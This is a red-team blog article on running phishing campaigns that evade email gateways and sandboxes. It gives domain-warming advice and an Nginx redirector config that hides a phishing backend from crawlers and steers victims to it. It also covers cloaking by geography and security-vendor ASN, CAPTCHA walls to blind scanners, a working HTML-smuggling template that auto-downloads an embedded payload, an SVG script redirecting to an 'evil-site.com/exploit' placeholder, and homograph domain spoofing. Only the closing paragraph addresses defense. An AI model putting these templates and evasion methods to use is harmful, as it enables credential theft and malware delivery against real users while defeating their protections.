Phishing: Detection and Defeat

[!NOTE] This article focuses on advanced evasion techniques used during authorized Red Team engagements to bypass automated analysis and Secure Email Gateways (SEGs). All techniques discussed must be used responsibly and only within the scope of a legal contract.

Introduction

Phishing remains the undisputed champion of initial access vectors. Despite millions of dollars poured into Secure Email Gateways (SEGs), User Awareness Training, and endpoint protections, a well-crafted email still finds its way to the inbox. For a Red Teamer, the challenge isn’t just tricking the user; it’s navigating a hostile ecosystem of automated sandboxes, reputation filters, and anomaly detection algorithms before the user even sees the bait.

In this deep dive, we will explore the technical architecture of a modern, resilient phishing campaign. We will move beyond simple credential harvesting and discuss infrastructure masking, automated cloaking, and client-side obfuscation techniques like HTML smuggling.

Infrastructure Engineering

The success of a campaign is often determined before the first email is sent. If your infrastructure screams “attacker,” you are dead on arrival.

Domain Reputation and Warming

Newly registered domains (NRDs) are suspicious by default. A mature Red Team maintains a pool of domains aged over several months or years.

Categorization: Ensure your domain is categorized by major vendors (Symantec, McAfee, Palo Alto, Fortinet) as “Finance,” “Health,” or “Business” rather than “Uncategorized.”
Email Authentication: You must implement SPF, DKIM, and DMARC. Without these, your deliverability to Office 365 or Gmail is near zero.

DNS Configuration Example:

1
2
3
Type: TXT
Host: @
Value: v=spf1 ip4:198.51.100.10 include:_spf.google.com ~all

[!IMPORTANT] Always set a DMARC policy, even if it is p=none. Its presence alone increases your reputation score.

The Redirector Pattern

Never expose your backend phishing server (e.g., Gophish, Evilginx2) directly to the internet. Use a robust redirector layer.

Tier 1 (Redirectors): Nginx or Apache servers that filter traffic.
Tier 2 (Backend): The actual C2 or phishing engine.

Nginx Reverse Proxy Configuration:

This configuration sits on your redirector. It filters out bot traffic based on User-Agents or IP ranges before forwarding valid victims to the backend.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
server {
    listen 80;
    server_name login.corporate-update.com;

    # Access Logs designed for parsing
    access_log /var/log/nginx/phish_access.log;
    error_log /var/log/nginx/phish_error.log;

    location / {
        # Check for known bot User-Agents
        if ($http_user_agent ~* (Googlebot|Bingbot|Slackbot|Twitterbot|Baiduspider)) {
            return 404;
        }

        # Proxy to the backend phishing server
        proxy_pass http://10.10.10.5:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

Cloaking: The Art of Invisibility

Cloaking is the practice of showing benign content to scanners (bots, SEGs, crawlers) while serving the malicious payload to the intended victim.

IP Filtering and Geo-Blocking

If you are targeting a company in Germany, traffic from a datacenter in Virginia or an ISP in Russia is suspicious.

Geo-Blocking: Configure your redirector to only allow traffic from the target country.
ASN Filtering: Block traffic from ASNs associated with security vendors (e.g., Microsoft, FireEye, Palo Alto, Zscaler).

CAPTCHA Walls

Automated cloud sandboxes (e.g., Microsoft Defender for Office 365 Safe Links) scan URLs at the time of click. Most sandboxes cannot solve CAPTCHAs. Placing a “Cloudflare Turnstile” or even a simple custom CSS CAPTCHA before your landing page stops the scanner dead in its tracks.

Implementation Strategy:

User clicks link.
Redirector serves a generic “Checking your browser…” page with a Turnstile widget.
Upon success, JavaScript redirects to the actual phishing login page.
Scanners see only the CAPTCHA page and mark the URL as “Benign” or “Unknown.”

HTML Smuggling

When you can’t use a link, you send an attachment. But attachments are heavily scrutinized. HTML Smuggling bypasses perimeter inspection by assembling the malicious payload on the client side using JavaScript. The file does not travel across the wire; it is created in the victim’s browser memory.

The Mechanism

The email contains an HTML file (e.g., SecureDoc.html).
The HTML contains an encoded Blob (Base64) of the malware (an EXE, ISO, or HTA).
JavaScript uses the HTML5 Blob API and URL.createObjectURL to generate the file.
The script automatically triggers a download.

Code Example

Here is a simplified template demonstrating the technique.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html>
 <body>
  <script>
   // Base64 encoded payload (e.g., a dummy zip file)
    var fileData = "UEsDBBQAAAAIA...";

    function base64ToArrayBuffer(base64) {
        var binaryString = window.atob(base64);
        var binaryLen = binaryString.length;
        var bytes = new Uint8Array(binaryLen);
        for (var i = 0; i < binaryLen; i++) {
            bytes[i] = binaryString.charCodeAt(i);
        }
        return bytes;
    }

    var fileBytes = base64ToArrayBuffer(fileData);
    var blob = new Blob([fileBytes], {type: "application/octet-stream"});
    var fileName = "Quarterly_Report.zip";

    // Trigger download depending on browser
    if (window.navigator && window.navigator.msSaveOrOpenBlob) {
        window.navigator.msSaveOrOpenBlob(blob, fileName);
    } else {
        var a = document.createElement('a');
        a.href = window.URL.createObjectURL(blob);
        a.download = fileName;
        document.body.appendChild(a);
        a.click();
        document.body.removeChild(a);
    }
  </script>
 </body>
</html>

This technique is effective because SEGs inspect the wire data. They see text/html with some JavaScript strings, not an executable binary. The binary only “exists” once executed by the browser’s JavaScript engine.

Advanced Obfuscation

SVG Smuggling

Similar to HTML smuggling but embedded within an SVG image. SVGs are XML-based, meaning they can execute scripts.

1
2
3
4
5
6
<ns0:svg xmlns:ns0="http://www.w3.org/2000/svg">
  <ns0:script>
    // Malicious JavaScript here
    window.location.href = "https://evil-site.com/exploit";
  </ns0:script>
</ns0:svg>

Homograph Attacks

Using characters from different alphabets (Cyrillic, Greek) that look identical to Latin characters (a, c, e, o, p, x, y).

Latin ‘a’: U+0061
Cyrillic ‘а’: U+0430

In many fonts, paypal.com (Latin) and pаypal.com (Cyrillic ‘a’) look 100% identical. Modern browsers use Punycode (xn--...) to mitigate this in the address bar, but it can still be effective in email body text or link anchors.

Conclusion

Phishing is an arms race. As defenses improve with AI and machine learning, attackers pivot to abuse the fundamental trust mechanisms of the web—browsers rendering code and users trusting content that appears local.

For the defender, the takeaway is clear: assume the click happens. Focus on limiting the blast radius through FIDO2/WebAuthn MFA, conditional access policies, and rapid incident response capabilities. The goal isn’t to stop every phish, but to ensure that a compromised credential doesn’t lead to a compromised domain.

Stay stealthy.

UncleSp1d3r

Introduction#

Infrastructure Engineering#

Domain Reputation and Warming#

The Redirector Pattern#

Cloaking: The Art of Invisibility#

IP Filtering and Geo-Blocking#

CAPTCHA Walls#

HTML Smuggling#

The Mechanism#

Code Example#

Advanced Obfuscation#

SVG Smuggling#

Homograph Attacks#

Conclusion#